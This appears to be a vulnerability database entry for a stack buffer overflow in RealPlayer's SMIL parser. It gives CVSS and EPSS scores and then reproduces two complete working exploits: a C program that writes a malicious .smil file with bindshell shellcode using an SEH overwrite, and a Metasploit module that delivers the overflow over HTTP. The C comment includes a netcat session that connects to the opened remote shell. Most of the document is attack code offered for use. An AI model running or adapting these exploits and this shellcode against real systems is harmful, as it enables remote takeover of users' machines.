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Stack-based buffer overflow in the CSmil1Parser::testAttributeFailed function in smlparse.cpp for RealNetworks RealPlayer 10.5 (6.0.12.1056 and earlier), 10, 8, and RealOne Player V2 and V1 allows remote attackers to execute arbitrary code via a .SMIL file with a large system-screen-size value.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5.1
AV:N/AC:H/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
70.13%
–
–
2023-03-12
–
–
–
60.57%
–
2023-06-25
–
–
–
58.32%
–
2024-02-11
–
–
–
46.8%
–
2024-06-02
–
–
–
46.8%
–
2024-08-25
–
–
–
46.8%
–
2024-09-08
–
–
–
46.33%
–
2024-09-22
–
–
–
46.33%
–
2024-10-06
–
–
–
46.33%
–
2024-12-22
–
–
–
55.85%
–
2025-01-19
–
–
–
55.85%
–
2025-03-18
–
–
–
–
75.42%
2025-03-18
–
–
–
–
75.42,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/* RealPlayer .smil file buffer overflow
Coded by nolimit@CiSO & Buzzdee
greets to COREiSO & #news & flare & class101 & ESI & RVL & everyone else I forget
This uses a seh overwrite method, which takes advantage of the SEH being placed
in multiple locations over the different OS's. Because of this, it should be
completely universal. :).
Also, we added SEH for enterprise and Standard, if you have a diff 2k3 then deal with it and write your own in.
C:\tools>nc -vv SERVER 1554
SERVER [192.168.1.93] 1554 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Program Files\Real\RealPlayer>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char pre[]=
"<smil>\n"
" <head>\n"
" <layout>\n"
" <region id=\"a\" top=\"5\" />\n"
" </layout>\n"
" </head>\n"
" <body>\n"
" <text src=\"1024_768.en.txt\" region=\"size\" system-screen-size=\"";
char shellcode[]=
/* bindshell port 13579 thx to metasploit.com :)
restricted chars: 0x00, 0x90, 0xa0, 0x20, 0x0a, 0x0d, 0x3c, 0x3e,
0x2f, 0x5c, 0x22, 0x58, 0x3d, 0x3b */
"\x29\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8f"
"\x35\x37\x85\x83\xeb\xfc\xe2\xf4\x73\x5f\xdc\xca\x67\xcc\xc8\x7a"
"\x70\x55\xbc\xe9\xab\x11\xbc\xc0\xb3\xbe\x4b\x80\xf7\x34\xd8\x0e"
"\xc0\x2d\xbc\xda\xaf\x34\xdc\x66\xbf\x7c\xbc\xb1\x04\x34\xd9\xb4"
"\x4f\xac\x9b\x01\x4f\x41\x30\x44\x45\x38\x36\x47\x64\xc1\x0c\xd1"
"\xab\x1d\x42\x66\x04\x6a\x13\x84\x64\x53\xbc\x89\xc4\xbe\x68\x99"
"\x8e\xde\x34\xa9\x04\xbc\x5b\xa1\x93\x54\xf4\xb4\x4f\x51\xbc\xc5"
"\xbf\xbe\x77\x89\x04\x45\x2b\x28\x04\x75\x3f\xdb\xe7\xbb\x79\x8b"
"\x63\x65\xc8\x53\xbe\xee\x51\xd6\xe9\x5d\x04\xb7\xe7\x42\x44\xb7"
"\xd0\x61\xc8\x55\xe7\xfe\xda\x79\xb4\x65\xc8\x53\xd0\xbc\xd2\xe3"
"\x0e\xd8\x3f\x87\xda\x5f\x35\x7a\x5f\x5d\xee\x8c\x7a\x98\x60\x7a"
"\x59\x66\x64\xd6\xdc\x66\x74\xd6\xcc\x66\xc8\x55\xe9\x5d\x02\x8e"
"\xe9\x66\xbe\x64\x1a\x5d\x93\x9f\xff\xf2\x60\x7a\x59\x5f\x27\xd4"
"\xda\xca\xe7\xed\x2b\x98\x19\x6c\xd8\xca\xe1\xd6\xda\xca\xe7\xed"
"\x6a\x7c\xb1\xcc\xd8\xca\xe1\xd5\xdb\x61\x62\x7a\x5f\xa6\x5f\x62"
"\xf6\xf3\x4e\xd2\x70\xe3\x62\x7a\x5f\x53\x5d\xe1\xe9\x5d\x54\xe8"
"\x06\xd0\x5d\xd5\xd6\x1c\xfb\x0c\x68\x5f\x73\x0c\x6d\x04\xf7\x76"
"\x25\xcb\x75\xa8\x71\x77\x1b\x16\x02\x4f\x0f\x2e\x24\x9e\x5f\xf7"
"\x71\x86\x21\x7a\xfa\x71\xc8\x53\xd4\x62\x65\xd4\xde\x64\x5d\x84"
"\xde\x64\x62\xd4\x70\xe5\x5f\x28\x56\x30\xf9\xd6\x70\xe3\x5d\x7a"
"\x70\x02\xc8\x55\x04\x62\xcb\x06\x4b\x51\xc8\x53\xdd\xca\xe7\xed"
"\xf1\xed\xd5\xf6\xdc\xca\xe1\x7a\x5f\x35\x37\x85";
char end[]=
" </body>"
"</smil>";
char overflow[1700];
int main(int argc,char *argv[])
{
FILE *vuln;
if(argc == 1)
{
printf("RealPlayer 10 .smil file local buffer overflow.\n");
printf("Coded by nolimit & buzzdee.\n");
printf("Usage: %s <outputfile>\n",argv[0]);
return 1;
}
vuln = fopen(argv[1],"w");
//build overflow buffer here.
memset(overflow,0x90,sizeof(overflow)); //fill with nops
memcpy(overflow+1068,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1072,"\x4a\xe1\xc9\x61",4); // se handler in win xp (pop pop ret)
memcpy(overflow+1084,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1088,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) for small biz or something
memcpy(overflow+1100,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1104,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) enterprise
memcpy(overflow+1108,"\xeb\x08\xeb\x08",4); //jump +8 into nops
memcpy(overflow+1112,"\xbf\xbb\xA2\x60",4); //overwrite seh (win2k) with call ebx (pncrt.dll - hopefully universal ...^^)
memcpy(overflow+1125,shellcode,sizeof(shellcode)); //our shellcode after some nope to land in
if(vuln)
{
//Write file
fprintf(vuln,"%s%s\"/>\n%s",pre,overflow,end);
fclose(vuln);
}
printf("File written.Binds a shell on port 13579.\nOpen with realplayer to exploit.\n");
return 0;
}
// milw0rm.com [2005-03-07]
##
# $Id: realplayer_smil.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'RealNetworks RealPlayer SMIL Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8.
By creating a URL link to a malicious SMIL file, a remote attacker could
overflow a buffer and execute arbitrary code.
When using this module, be sure to set the URIPATH with an extension of '.smil'.
This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8
build 6.0.9.584.
},
'License' => MSF_LICENSE,
'Author' => 'MC',
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2005-0455' ],
[ 'OSVDB', '14305'],
[ 'BID', '12698' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x90\x0a\x0d\x20\x3c\x3e\x2f\x5c\x22\x58\x3d\x3b\x40\x3f\x27\x26\x25",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'RealPlayer 10/8 on Windows 2000 SP0-SP4 English', { 'Offset' => 608, 'Ret' => 0x75022ac4 } ],
[ 'RealPlayer 10/8 on Windows XP PRO SP0-SP1 English', { 'Offset' => 584, 'Ret' => 0x71aa2461 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Mar 1 2005',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
cruft = rand_text_alpha_upper(1)
bleh = rand_text_alpha_upper(11)
sploit = rand_text_alpha_upper(target['Offset']) + payload.encoded
sploit << "\xeb\x06" + rand_text_alpha_upper(2) + [target.ret].pack('V')
sploit << [0xe8, -485].pack('CV')
# Build the HTML content
content = "<smil><head><layout><region id=\"#{cruft}\" top=\"#{cruft}\" /></layout></head>"
content << "<body><text src=\"#{bleh}.txt\" region=\"size\" system-screen-size=\"#{sploit}\" /></body></smil>"
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end